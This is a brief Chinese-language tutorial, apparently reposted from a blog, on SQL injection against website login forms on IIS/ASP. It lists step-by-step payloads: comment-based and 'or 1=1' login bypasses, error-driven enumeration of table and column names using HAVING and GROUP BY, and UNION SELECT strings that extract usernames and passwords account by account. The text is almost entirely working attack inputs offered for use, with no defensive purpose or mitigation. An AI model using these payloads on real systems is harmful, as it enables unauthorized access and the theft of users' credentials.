1,在登陆界面中知道用户名时(比如Admin),在用户名处输入Admin'--
// SELECT * FROM User WHERE UserName='Admin'--
此时,密码被无效
2,不知道用户名时,在密码处输入 ' or 1=1--
//SELECT * FROM User WHERE UserName='' or 1=1-- 恒为真
3,微软为了程序开发人员的方便,在Script执行出错时,都通过%systemroot%\WINNT\HELP\iisHelp\common\500-100.asp脚本将发生的错误传回浏览器。
在注入语句(登陆口)后输入 ' HAVING 1=1 --会报错。输出数据表名和一个段名(如UserID)
再次输入 'GROUP BY UserID HAVING 1=1-- 然后得到下一个表名。。。继续重复可得到表中所有段。
4,获取用户账号密码:
'UNION SELECT UserName,1,1,1 FROM tbUser WHERE UserName > 'a' --
出现IIS返回信息:将nvarchar 'admin' 数值转换为INT出错-----得到用户名
得到密码: ' UNION SELECT Password,1,1,1 FROM User WHERE UserName='admin'--
继续得到其它人的账户:
'UNION SELECT Password,1,1,1 FROM User WHERE UserName > 'admin'--
重复替换admin位置即可
转载于:https://blog.51cto.com/noyear/514952